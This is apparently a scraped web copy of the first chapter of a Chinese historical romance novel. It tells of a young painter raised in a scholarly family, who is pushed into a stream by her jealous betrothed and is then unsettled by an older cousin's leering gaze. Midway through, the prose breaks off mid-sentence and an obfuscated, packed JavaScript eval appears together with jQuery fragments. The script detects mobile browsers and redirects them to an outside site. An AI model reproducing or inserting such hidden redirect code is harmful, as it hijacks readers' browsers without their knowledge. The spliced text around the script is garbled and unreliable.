1. 第一章

作品:《丹青美人

    大晟泰和三年的冬,京城的雪下的各外大。


    漫天飞舞的雪花,似一阵风掀落梨瓣,在肆虐寒风中大片大片的坠落。


    宁王府的暖阁中却是另外一番天地,錾花的铜盆中,银骨炭烧得极旺,不时发出细微的噼啪声。玉壶春瓶中的腊梅虬枝横斜,散发着阵阵幽香。


    丫鬟青黛在暖阁中忙前忙后的,只因暖塌上这位已经昏迷了一月有余的姑娘终于有了些许动静。


    宁王朱弘毅风尘仆仆地从外归来,他踏入暖阁的一瞬,携进一股凛冽的寒气,锦衣玉带之上犹覆着未及拂去的积雪。


    青黛忙把王爷拦在了外屋:“殿下,外面寒气重,姑娘的病情刚刚才有了点起色,您可万万不能把寒气渡给姑娘了。”


    朱弘毅脚步顿住,目光越过屏风,向内间的暖塌上深深望了一眼。


    青黛继续说道:“还昏睡着,刚刚有了些许动静,后又沉睡了过去,王老太医之前来看过,说能熬过这个冬天,便有好起来的希望。”


    朱弘毅轻轻颔首,也没多说什么,他抬手拂了拂肩上的残雪,转身便离开了,高大的身影再次没入门外的漫天风雪之中。


    ———


    暖阁深处,周妙雅仍陷在漫长的昏迷中,她仿佛做了一场很长的梦。


    梦中她回到了年少时代,苏州府一年一度的虎丘诗会。


    她自小无父无母,打出生便被寄养在苏州府长洲县文家。


    好在文老太爷和文老太太对她视如己出,如亲孙女儿般疼爱着,打小也没让她吃过什么苦。


    文家长孙文毓瑾比周妙雅大三岁,如今已是少年才子,锋芒初露。文家次孙文毓瑜与周妙雅同岁,却是一副顽劣厌学的模样。


    文家乃是百年文脉世家,天下文脉一呼百应,文老太爷文敬远更是大晟朝公认的文坛泰斗,少年时即已成名,暮年更是德高望重,江南一年一度的文坛盛会,必会邀请文老太爷亲自坐镇。


    诗会之上,群贤毕至,曲水流觞,丝竹绕梁。


    意气风发的少年文毓瑾身着一身藏蓝镶青罗的儒衫,于众人的瞩目之下从容起身,他面容俊秀,姿态优雅,已俨然一副世家大公子的模样。


    文毓瑾提笔挥墨,落笔所写诗句清丽,押韵精巧,意境不俗,引得满座鸿儒纷纷抚须称赞。


    “文家长孙,果然名不虚传。”


    “小小年纪便有如此才情,文家百年文脉后继有人了。”


    文老太爷端坐主位,捻须微笑,眼中虽有赞许,却不意外,毕竟是文家倾注全部心血培养的长房长孙,自然是有过人之处的。


    众人的赞叹还未落下,文老太爷却带着慈爱的微笑,温柔地朝人群中招了招手:“雅儿,到祖父这来。”


    一时间,所有的目光都投向那个被文老太太牵着,粉装玉琢的小姑娘身上。


    她被众人投来的目光映的有些害羞,但还是乖巧地走了过去,在众人面前站定,上身微微前倾,朝众人行了个揖礼。


    文老太爷拉过小女孩的手,指了指面前长案上已铺好的一张素白宣纸,宣纸旁边放着一方古砚,正好刚刚磨好新墨,散发着阵阵墨香。


    文老太爷慈爱道:“雅儿,今日盛景,不可无画,将你方才所见,画与诸位先生可好?”


    周妙雅抬头看了看祖父鼓励的眼神,点了点头,只见她踮起小脚,伸着小手去够笔架上悬挂的一只狼毫笔。


    在众人或好奇、或疑惑的目光下,她凝神静气,丝毫不怯场,笔尖蘸满浓墨,挥洒间落于纸上。


    只见笔下山石嵯峨,似有虎丘之形,流水潺潺,仿佛曲水之韵,人物虽只寥寥数笔勾勒,却意态生动,尽显雅士风流。


    更令人拍案叫绝的是,她的运笔、用墨、技法、构图与气韵,竟与文老太爷的画风有七八分神似。虽笔力尚显稚嫩,但那份灵性与悟性,已堪称惊艳。


    “妙哉!妙哉啊!”刚刚还在夸文大郎的一众儒士都围了过来,齐齐拍手称赞道。


    “观此画,如临奇境!文公,您这位小孙女,可了不得啊!”


    称赞之声络绎不绝,如潮水般涌向小姑娘,文老太爷开怀大笑,满是自豪,将小小的人儿揽入怀中,抚须颔首称赞道:“老夫这点微末的技艺,也算是后继有人了。”


    人群的角落,一浪高过一浪的赞誉不断涌向文毓瑜的耳中,他死死攥着拳头,指甲深深掐进了掌心。


    就在刚刚,他还被母亲逼着背一首简单的诗,准备稍后也去露个脸,他背的磕磕巴巴,急的满头是汗。


    他远远地望过去,见自己最敬重的祖父将周妙雅揽在怀里,接受着天下群儒的万众瞩目,看着她那张精致的小脸儿因夸赞而微微泛红,甚至比以前更漂亮了许多。


    他想着自己连一首简单的诗都背不下来的窘迫,再看看春风得意的周妙雅,所有最初的羡慕与嫉妒,在那一刹那,悄然地扭曲成了一丝冰冷的怨恨。


    诗会还在热火朝天地进行着,大人们沉浸在风雅的谈笑声中,孩子们则多少有些无聊。


    周妙雅和文老太太一起吃了会点心,她转头看向远处无人的角落里,潺潺的溪水边,文二郎正蹲在那里,闷闷不乐地拿着一根树枝戳着水里的落叶。


    周妙雅想着文老太太说过的话,二郎是你从小就订下亲事的,是你未来的夫君,平日里你要与二郎多亲近些。


    想到这里,周妙雅只觉面颊微微泛红,她提着罗裙,轻轻走到文二郎身边,想问问他为什么如此闷闷不乐。


    文二郎见周妙雅走到身后,刚刚涌上头的嫉妒之情还没有消散,他看着一个外姓、没有血缘关系的女子,硬生生地夺走了祖父本该对他的爱,他想着祖父搂着她那开心的模样,再对比祖父对自己的严厉与不耐烦,只觉心中一股恶气猛的往头顶冲去。


    文二郎环顾了下四周,见文老太太和其他大人们都在远处的凉亭吃点心聊天,他见周妙雅还想安慰他,便指着溪边一株开的正艳丽的花说道:“我心情不好,想要那枝花解闷儿,你去采给我。”


    周妙雅也没有多想,便顺着他指的方向去到了溪水边,俯身想去拾那枝花。


    文二郎趁着四周无人留意,猛地站起身,用尽全身力气,从背后狠狠推了一把周妙雅。


    周妙雅猝不及防,惊叫了一声,整个人失去平衡,扑通一声栽进了冰凉刺骨的溪水中。


    可惜诗会正是热火朝天之际,无人听到这边的异动。


    溪水不深,只及腰际,但周妙雅受了惊吓,在川流的溪水中,困难地想要站起身来。


    好在文大郎及时赶到,将她整个人从水中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922311|192608||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    捞了出来。


    周妙雅浑身湿透了,沾了水的罗裙很难掩住裙下做工精巧的绣鞋。


    慌乱中,她见文大郎的眼神直勾勾地盯着她的绣鞋看,便下意识地想要把脚往裙里回撤,可罗裙沾了水,任凭她怎样努力都是徒劳的。


    丫鬟白芷拿着披风,气喘吁吁地跑了过来,一把用披风裹住自家小姐,声音带着哭腔,关切道:“小姐可还好?怎地就突然落水了?”


    周妙雅冻得唇色发白,只是轻轻摇头,还未来得及开口,一旁便伸来一只有力的手臂,文大郎已自然而然地从白芷手中将人接了过去。


    他指尖不经意擦过周妙雅湿透的臂膀,让她不由自主地轻颤了一下。


    “还不快领你家小姐去更衣?”文大郎语气中带着命令,目光淡淡扫过白芷,小丫鬟立刻噤声垂首。


    文二郎却无半点儿悔意,仿佛大仇得报了一般,站在一旁沾沾自喜着。


    文大郎半扶半抱着周妙雅,在经过文二郎身边时,脚步虽未停,却极低极快地丢下一句警告,那声音只有他们三人能听到:“安分点,她不是你能碰的。”


    被文大郎半强制地揽着走向厢房的每一步,都让周妙雅小小的身子僵硬无比。溪水的寒意早已渗入骨髓,但更让她发抖的,是文大郎搁在她肩头那只手的热度,以及他方才盯着她绣鞋时,那种毫不掩饰的、让她本能恐惧的目光。


    他的指尖,似乎无意地在她湿透的肩臂处摩挲着。


    周妙雅猛地一颤,像被烫到一般,下意识地想缩紧肩膀,却被那看似扶持,实则不容抗拒的力量禁锢着。


    “冷?”文大郎低下头,呵出的气息拂过她的额发。可眼神深处,却寻不到半分真正的关切,仿佛在欣赏一件意外落入掌中的、湿淋淋的瓷娃娃。


    周妙雅死死咬住下唇,摇了摇头,不敢说话。


    到了厢房门口,文大郎终于松开了手,白芷赶忙上前扶住自家小姐。


    “仔细伺候着,若着了凉,唯你是问。”文毓瑾吩咐白芷,目光却又在周妙雅裙摆下那双若隐若现、沾满泥水的绣鞋上停留着,盯了半晌,方才转身离去。


    门关上,隔绝了外面的喧嚣,也暂时隔绝了那令人窒息的目光。


    白芷手忙脚乱地帮周妙雅褪下湿透的衣裙,用细棉布巾子擦拭她冰冷的身子和湿发。小丫鬟脸上还带着未散的惊慌,嘴里絮絮叨叨:“吓死奴婢了,幸好大少爷来得及时…小姐您没事吧?”


    周妙雅抱着手臂,瑟瑟发抖,牙齿磕碰着,说不出话。


    白芷拿起干净的里衣,动作忽然顿了顿,脸上露出些困惑,小声嘀咕:“不过…大少爷刚才…好像和平时不太一样…”


    周妙雅抬起湿漉漉的眼睫看她。


    白芷歪着头,努力组织着语言:“大少爷平日对谁都温和有礼,说话做事最是妥帖周全的,方才…方才他抱着您过来时,眼神直勾勾的,奴婢说不好,就是…就是有点吓人。”


    她顿了顿,声音压得更低,带着孩童式的懵懂与直白:“尤其是他看着小姐您的脚的时候,好像要把那绣鞋看穿似的…”


    “别说了!”周妙雅猛地打断她,声音尖细,带着自己都未察觉的惊惧。


    白芷被吓了一跳,立刻噤声,不敢再多言,赶紧替她穿好衣服。